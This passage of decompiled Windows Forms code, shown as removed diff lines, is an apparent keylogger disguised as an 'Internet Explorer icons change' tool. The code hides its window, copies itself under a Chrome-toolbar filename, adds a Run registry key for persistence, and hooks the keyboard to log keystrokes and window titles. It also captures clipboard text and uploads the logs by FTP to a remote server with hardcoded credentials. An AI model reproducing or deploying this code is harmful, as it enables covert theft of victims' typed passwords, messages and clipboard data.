\r\n";
- this.GroupBox1.Controls.Add((Control) this.Label2);
- this.GroupBox1.Controls.Add((Control) this.Label1);
- GroupBox groupBox1_1 = this.GroupBox1;
- point1 = new Point(273, 34);
- Point point5 = point1;
- groupBox1_1.Location = point5;
- GroupBox groupBox1_2 = this.GroupBox1;
- padding1 = new Padding(4);
- Padding padding5 = padding1;
- groupBox1_2.Margin = padding5;
- this.GroupBox1.Name = "GroupBox1";
- GroupBox groupBox1_3 = this.GroupBox1;
- padding1 = new Padding(4);
- Padding padding6 = padding1;
- groupBox1_3.Padding = padding6;
- GroupBox groupBox1_4 = this.GroupBox1;
- size1 = new Size(161, 16);
- Size size5 = size1;
- groupBox1_4.Size = size5;
- this.GroupBox1.TabIndex = 3;
- this.GroupBox1.TabStop = false;
- this.GroupBox1.Text = "Tablo HTML Kodu:";
- this.Label3.AutoSize = true;
- this.Label3.BackColor = Color.Transparent;
- this.Label3.ForeColor = Color.Maroon;
- Label label3_1 = this.Label3;
- point1 = new Point(5, 27);
- Point point6 = point1;
- label3_1.Location = point6;
- Label label3_2 = this.Label3;
- padding1 = new Padding(4, 0, 4, 0);
- Padding padding7 = padding1;
- label3_2.Margin = padding7;
- this.Label3.Name = "Label3";
- Label label3_3 = this.Label3;
- size1 = new Size(475, 119);
- Size size6 = size1;
- label3_3.Size = size6;
- this.Label3.TabIndex = 4;
- this.Label3.Text = componentResourceManager.GetString("Label3.Text");
- this.GroupBox2.Controls.Add((Control) this.Label3);
- GroupBox groupBox2_1 = this.GroupBox2;
- point1 = new Point(273, 11);
- Point point7 = point1;
- groupBox2_1.Location = point7;
- GroupBox groupBox2_2 = this.GroupBox2;
- padding1 = new Padding(4);
- Padding padding8 = padding1;
- groupBox2_2.Margin = padding8;
- this.GroupBox2.Name = "GroupBox2";
- GroupBox groupBox2_3 = this.GroupBox2;
- padding1 = new Padding(4);
- Padding padding9 = padding1;
- groupBox2_3.Padding = padding9;
- GroupBox groupBox2_4 = this.GroupBox2;
- size1 = new Size(137, 18);
- Size size7 = size1;
- groupBox2_4.Size = size7;
- this.GroupBox2.TabIndex = 5;
- this.GroupBox2.TabStop = false;
- this.GroupBox2.Text = "HTML Başlangıç Kodu";
- this.Label4.AutoSize = true;
- Label label4_1 = this.Label4;
- point1 = new Point(75, 32);
- Point point8 = point1;
- label4_1.Location = point8;
- Label label4_2 = this.Label4;
- padding1 = new Padding(4, 0, 4, 0);
- Padding padding10 = padding1;
- label4_2.Margin = padding10;
- this.Label4.Name = "Label4";
- Label label4_3 = this.Label4;
- size1 = new Size(51, 17);
- Size size8 = size1;
- label4_3.Size = size8;
- this.Label4.TabIndex = 6;
- this.Label4.Text = "Label4";
- this.GroupBox3.Controls.Add((Control) this.Label4);
- GroupBox groupBox3_1 = this.GroupBox3;
- point1 = new Point(273, 59);
- Point point9 = point1;
- groupBox3_1.Location = point9;
- GroupBox groupBox3_2 = this.GroupBox3;
- padding1 = new Padding(4);
- Padding padding11 = padding1;
- groupBox3_2.Margin = padding11;
- this.GroupBox3.Name = "GroupBox3";
- GroupBox groupBox3_3 = this.GroupBox3;
- padding1 = new Padding(4);
- Padding padding12 = padding1;
- groupBox3_3.Padding = padding12;
- GroupBox groupBox3_4 = this.GroupBox3;
- size1 = new Size(116, 21);
- Size size9 = size1;
- groupBox3_4.Size = size9;
- this.GroupBox3.TabIndex = 7;
- this.GroupBox3.TabStop = false;
- this.GroupBox3.Text = "Bilgisayar Adı";
- this.Timer1.Enabled = true;
- this.Timer1.Interval = 900000;
- this.Timer2.Enabled = true;
- this.GroupBox4.Controls.Add((Control) this.TextBox2);
- GroupBox groupBox4_1 = this.GroupBox4;
- point1 = new Point(273, 87);
- Point point10 = point1;
- groupBox4_1.Location = point10;
- GroupBox groupBox4_2 = this.GroupBox4;
- padding1 = new Padding(4);
- Padding padding13 = padding1;
- groupBox4_2.Margin = padding13;
- this.GroupBox4.Name = "GroupBox4";
- GroupBox groupBox4_3 = this.GroupBox4;
- padding1 = new Padding(4);
- Padding padding14 = padding1;
- groupBox4_3.Padding = padding14;
- GroupBox groupBox4_4 = this.GroupBox4;
- size1 = new Size(137, 20);
- Size size10 = size1;
- groupBox4_4.Size = size10;
- this.GroupBox4.TabIndex = 9;
- this.GroupBox4.TabStop = false;
- this.GroupBox4.Text = "Kopyala Yapıştır";
- this.TextBox2.Enabled = false;
- TextBox textBox2_1 = this.TextBox2;
- point1 = new Point(31, 26);
- Point point11 = point1;
- textBox2_1.Location = point11;
- TextBox textBox2_2 = this.TextBox2;
- padding1 = new Padding(4);
- Padding padding15 = padding1;
- textBox2_2.Margin = padding15;
- this.TextBox2.Name = "TextBox2";
- TextBox textBox2_3 = this.TextBox2;
- size1 = new Size(284, 22);
- Size size11 = size1;
- textBox2_3.Size = size11;
- this.TextBox2.TabIndex = 0;
- this.GroupBox5.Controls.Add((Control) this.Label6);
- this.GroupBox5.Controls.Add((Control) this.Label5);
- GroupBox groupBox5_1 = this.GroupBox5;
- point1 = new Point(273, 114);
- Point point12 = point1;
- groupBox5_1.Location = point12;
- GroupBox groupBox5_2 = this.GroupBox5;
- padding1 = new Padding(4);
- Padding padding16 = padding1;
- groupBox5_2.Margin = padding16;
- this.GroupBox5.Name = "GroupBox5";
- GroupBox groupBox5_3 = this.GroupBox5;
- padding1 = new Padding(4);
- Padding padding17 = padding1;
- groupBox5_3.Padding = padding17;
- GroupBox groupBox5_4 = this.GroupBox5;
- size1 = new Size(151, 16);
- Size size12 = size1;
- groupBox5_4.Size = size12;
- this.GroupBox5.TabIndex = 1;
- this.GroupBox5.TabStop = false;
- this.GroupBox5.Text = "Kopyala Yapıştır Renk";
- this.Label6.AutoSize = true;
- this.Label6.ForeColor = Color.Maroon;
- Label label6_1 = this.Label6;
- point1 = new Point(239, 48);
- Point point13 = point1;
- label6_1.Location = point13;
- Label label6_2 = this.Label6;
- padding1 = new Padding(4, 0, 4, 0);
- Padding padding18 = padding1;
- label6_2.Margin = padding18;
- this.Label6.Name = "Label6";
- Label label6_3 = this.Label6;
- size1 = new Size(52, 17);
- Size size13 = size1;
- label6_3.Size = size13;
- this.Label6.TabIndex = 1;
- this.Label6.Text = "";
- this.Label5.AutoSize = true;
- this.Label5.ForeColor = Color.Maroon;
- Label label5_1 = this.Label5;
- point1 = new Point(31, 48);
- Point point14 = point1;
- label5_1.Location = point14;
- Label label5_2 = this.Label5;
- padding1 = new Padding(4, 0, 4, 0);
- Padding padding19 = padding1;
- label5_2.Margin = padding19;
- this.Label5.Name = "Label5";
- Label label5_3 = this.Label5;
- size1 = new Size(155, 17);
- Size size14 = size1;
- label5_3.Size = size14;
- this.Label5.TabIndex = 0;
- this.Label5.Text = "";
- this.Label7.AutoSize = true;
- Label label7_1 = this.Label7;
- point1 = new Point(12, 23);
- Point point15 = point1;
- label7_1.Location = point15;
- Label label7_2 = this.Label7;
- padding1 = new Padding(4, 0, 4, 0);
- Padding padding20 = padding1;
- label7_2.Margin = padding20;
- this.Label7.Name = "Label7";
- Label label7_3 = this.Label7;
- size1 = new Size(64, 17);
- Size size15 = size1;
- label7_3.Size = size15;
- this.Label7.TabIndex = 10;
- this.Label7.Text = "";
- this.Label8.AutoSize = true;
- Label label8_1 = this.Label8;
- point1 = new Point(72, 23);
- Point point16 = point1;
- label8_1.Location = point16;
- Label label8_2 = this.Label8;
- padding1 = new Padding(4, 0, 4, 0);
- Padding padding21 = padding1;
- label8_2.Margin = padding21;
- this.Label8.Name = "Label8";
- Label label8_3 = this.Label8;
- size1 = new Size(68, 17);
- Size size16 = size1;
- label8_3.Size = size16;
- this.Label8.TabIndex = 11;
- this.Label8.Text = "";
- this.GroupBox6.Controls.Add((Control) this.Label8);
- this.GroupBox6.Controls.Add((Control) this.Label7);
- GroupBox groupBox6_1 = this.GroupBox6;
- point1 = new Point(283, 145);
- Point point17 = point1;
- groupBox6_1.Location = point17;
- GroupBox groupBox6_2 = this.GroupBox6;
- padding1 = new Padding(4);
- Padding padding22 = padding1;
- groupBox6_2.Margin = padding22;
- this.GroupBox6.Name = "GroupBox6";
- GroupBox groupBox6_3 = this.GroupBox6;
- padding1 = new Padding(4);
- Padding padding23 = padding1;
- groupBox6_3.Padding = padding23;
- GroupBox groupBox6_4 = this.GroupBox6;
- size1 = new Size(141, 18);
- Size size17 = size1;
- groupBox6_4.Size = size17;
- this.GroupBox6.TabIndex = 12;
- this.GroupBox6.TabStop = false;
- this.GroupBox6.Text = "Kalın Yaız";
- this.AutoScaleDimensions = new SizeF(8f, 16f);
- this.AutoScaleMode = AutoScaleMode.Font;
- size1 = new Size(1, 1);
- this.ClientSize = size1;
- this.Controls.Add((Control) this.GroupBox6);
- this.Controls.Add((Control) this.GroupBox5);
- this.Controls.Add((Control) this.GroupBox1);
- this.Controls.Add((Control) this.GroupBox2);
- this.Controls.Add((Control) this.GroupBox4);
- this.Controls.Add((Control) this.GroupBox3);
- this.Controls.Add((Control) this.TextBox1);
- this.FormBorderStyle = FormBorderStyle.None;
- padding1 = new Padding(4);
- this.Margin = padding1;
- size1 = new Size(1, 1);
- this.MaximumSize = size1;
- size1 = new Size(1, 1);
- this.MinimumSize = size1;
- this.Name = nameof (Form1);
- this.Text = "İnternet Explorer İcons Change";
- this.GroupBox1.ResumeLayout(false);
- this.GroupBox1.PerformLayout();
- this.GroupBox2.ResumeLayout(false);
- this.GroupBox2.PerformLayout();
- this.GroupBox3.ResumeLayout(false);
- this.GroupBox3.PerformLayout();
- this.GroupBox4.ResumeLayout(false);
- this.GroupBox4.PerformLayout();
- this.GroupBox5.ResumeLayout(false);
- this.GroupBox5.PerformLayout();
- this.GroupBox6.ResumeLayout(false);
- this.GroupBox6.PerformLayout();
- this.ResumeLayout(false);
- this.PerformLayout();
- }
-
- internal virtual TextBox TextBox1
- {
- [DebuggerNonUserCode] get => this._TextBox1;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
- }
-
- internal virtual Label Label1
- {
- [DebuggerNonUserCode] get => this._Label1;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
- }
-
- internal virtual Label Label2
- {
- [DebuggerNonUserCode] get => this._Label2;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
- }
-
- internal virtual GroupBox GroupBox1
- {
- [DebuggerNonUserCode] get => this._GroupBox1;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox1 = value;
- }
-
- internal virtual Label Label3
- {
- [DebuggerNonUserCode] get => this._Label3;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value;
- }
-
- internal virtual GroupBox GroupBox2
- {
- [DebuggerNonUserCode] get => this._GroupBox2;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox2 = value;
- }
-
- internal virtual Label Label4
- {
- [DebuggerNonUserCode] get => this._Label4;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value;
- }
-
- internal virtual GroupBox GroupBox3
- {
- [DebuggerNonUserCode] get => this._GroupBox3;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox3 = value;
- }
-
- internal virtual Timer Timer1
- {
- [DebuggerNonUserCode] get => this._Timer1;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
- {
- EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
- if (this._Timer1 != null)
- this._Timer1.Tick -= eventHandler;
- this._Timer1 = value;
- if (this._Timer1 == null)
- return;
- this._Timer1.Tick += eventHandler;
- }
- }
-
- internal virtual Timer Timer2
- {
- [DebuggerNonUserCode] get => this._Timer2;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
- {
- EventHandler eventHandler = new EventHandler(this.Timer2_Tick);
- if (this._Timer2 != null)
- this._Timer2.Tick -= eventHandler;
- this._Timer2 = value;
- if (this._Timer2 == null)
- return;
- this._Timer2.Tick += eventHandler;
- }
- }
-
- internal virtual GroupBox GroupBox4
- {
- [DebuggerNonUserCode] get => this._GroupBox4;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox4 = value;
- }
-
- internal virtual TextBox TextBox2
- {
- [DebuggerNonUserCode] get => this._TextBox2;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
- {
- EventHandler eventHandler = new EventHandler(this.TextBox2_TextChanged);
- if (this._TextBox2 != null)
- this._TextBox2.TextChanged -= eventHandler;
- this._TextBox2 = value;
- if (this._TextBox2 == null)
- return;
- this._TextBox2.TextChanged += eventHandler;
- }
- }
-
- internal virtual GroupBox GroupBox5
- {
- [DebuggerNonUserCode] get => this._GroupBox5;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox5 = value;
- }
-
- internal virtual Label Label6
- {
- [DebuggerNonUserCode] get => this._Label6;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label6 = value;
- }
-
- internal virtual Label Label5
- {
- [DebuggerNonUserCode] get => this._Label5;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label5 = value;
- }
-
- internal virtual Label Label7
- {
- [DebuggerNonUserCode] get => this._Label7;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label7 = value;
- }
-
- internal virtual Label Label8
- {
- [DebuggerNonUserCode] get => this._Label8;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label8 = value;
- }
-
- internal virtual GroupBox GroupBox6
- {
- [DebuggerNonUserCode] get => this._GroupBox6;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox6 = value;
- }
-
- private virtual Keyboard K
- {
- [DebuggerNonUserCode] get => this._K;
- [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
- {
- Keyboard.DownEventHandler downEventHandler = new Keyboard.DownEventHandler(this.K_Down);
- if (this._K != null)
- Keyboard.Down -= downEventHandler;
- this._K = value;
- if (this._K == null)
- return;
- Keyboard.Down += downEventHandler;
- }
- }
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetForegroundWindow();
-
- [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch);
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern int GetKeyState(long keys);
-
- private void Form1_Load(object sender, EventArgs e)
- {
- this.ProgramKontrol();
- this.BilgisayarismiHTML();
- this.Gizle();
- this.Baslangıcaekle();
- this.K.CreateHook();
- }
-
- private string GetActiveWindowTitle()
- {
- string lpString = new string(char.MinValue, 100);
- Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100);
- return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1));
- }
-
- private void K_Down(string key)
- {
- if (Operators.CompareString(this.strin, this.GetActiveWindowTitle(), false) != 0)
- {
- this.TextBox1.Text = this.TextBox1.Text + "\r\n" + this.Label2.Text + "" + this.GetActiveWindowTitle() + "" + this.Label1.Text + "\r\n";
- this.strin = this.GetActiveWindowTitle();
- }
- this.TextBox1.Text += key;
- }
-
- public void BilgisayarismiHTML()
- {
- this.TextBox1.Text = this.Label3.Text;
- this.Label4.Text = MyProject.Computer.Name + Conversions.ToString(DateAndTime.TimeOfDay.Second) + Conversions.ToString(DateAndTime.TimeOfDay.Minute);
- }
-
- public void Gizle()
- {
- this.Hide();
- this.ShowInTaskbar = false;
- this.Opacity = 0.0;
- }
-
- public void Baslangıcaekle()
- {
- string destinationFileName = "C:\\Program Files\\ChromeToolbarsicn.exe";
- if (!File.Exists("C:\\Program Files\\ChromeToolbarsicn.exe"))
- Microsoft.VisualBasic.FileIO.FileSystem.CopyFile(Application.ExecutablePath, destinationFileName, true);
- MyProject.Computer.Registry.SetValue("HKEY_lOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "GoogleChromeİcon", (object) destinationFileName);
- }
-
- [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
- public void ProgramKontrol()
- {
-label_1:
- int num1;
- int num2;
- try
- {
- ProjectData.ClearProjectError();
- num1 = -2;
-label_2:
- int num3 = 2;
- string moduleName = Process.GetCurrentProcess().MainModule.ModuleName;
-label_3:
- num3 = 3;
- string withoutExtension = Path.GetFileNameWithoutExtension(moduleName);
-label_4:
- num3 = 4;
- Process[] processesByName = Process.GetProcessesByName(withoutExtension);
-label_5:
- num3 = 5;
- if (processesByName.Length > 1)
- ProjectData.EndApp();
-label_7:
- goto label_14;
-label_9:
- num2 = num3;
- switch (num1 > -2 ? num1 : 1)
- {
- case 1:
- int num4 = num2 + 1;
- num2 = 0;
- switch (num4)
- {
- case 1:
- goto label_1;
- case 2:
- goto label_2;
- case 3:
- goto label_3;
- case 4:
- goto label_4;
- case 5:
- goto label_5;
- case 6:
- case 7:
- goto label_7;
- case 8:
- goto label_14;
- }
- break;
- }
- }
- catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
- {
- ProjectData.SetProjectError(ex);
- goto label_9;
- }
- throw ProjectData.CreateProjectError(-2146828237);
-label_14:
- if (num2 == 0)
- return;
- ProjectData.ClearProjectError();
- }
-
- public void Upload()
- {
-label_1:
- int num1;
- int num2;
- try
- {
- ProjectData.ClearProjectError();
- num1 = 2;
-label_2:
- int num3 = 2;
- MyProject.Computer.Network.UploadFile("C:\\Program Files\\Internet Explorer\\" + this.Label4.Text + ".html", "ftp://srreal88.sr.funpic.org/resim/" + this.Label4.Text + ".html", "srreal_903428", "1q2w3eaq1");
-label_3:
-label_4:
- ProjectData.ClearProjectError();
- num1 = -2;
-label_5:
- num3 = 4;
- MyProject.Computer.Network.UploadFile("C:\\Program Files\\Internet Explorer\\" + this.Label4.Text + ".html", "ftp://srreal88.sr.funpic.org/resim/" + this.Label4.Text + ".html", "srreal_903428", "1q2w3eaq1");
- goto label_12;
-label_7:
- num2 = num3;
- switch (num1 > -2 ? num1 : 1)
- {
- case 1:
- int num4 = num2 + 1;
- num2 = 0;
- switch (num4)
- {
- case 1:
- goto label_1;
- case 2:
- goto label_2;
- case 3:
- goto label_4;
- case 4:
- goto label_5;
- case 5:
- goto label_12;
- }
- break;
- case 2:
- goto label_3;
- }
- }
- catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
- {
- ProjectData.SetProjectError(ex);
- goto label_7;
- }
- throw ProjectData.CreateProjectError(-2146828237);
-label_12:
- if (num2 == 0)
- return;
- ProjectData.ClearProjectError();
- }
-
- public void yazdırdosya()
- {
- StreamWriter streamWriter = MyProject.Computer.FileSystem.OpenTextFileWriter("C:\\Program Files\\Internet Explorer\\" + this.Label4.Text + ".html", true);
- streamWriter.WriteLine(this.TextBox1.Text);
- streamWriter.Close();
- streamWriter.Dispose();
- }
-
- private void Timer2_Tick(object sender, EventArgs e) => this.TextBox2.Text = Clipboard.GetText();
-
- private void TextBox2_TextChanged(object sender, EventArgs e) => this.TextBox1.Text = this.TextBox1.Text + this.Label5.Text + this.TextBox2.Text + this.Label6.Text;
-
- [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
- private void Timer1_Tick(object sender, EventArgs e)
- {
-label_1:
- int num1;
- int num2;
- try
- {
- ProjectData.ClearProjectError();
- num1 = -2;
-label_2:
- int num3 = 2;
- this.TextBox1.Text += " |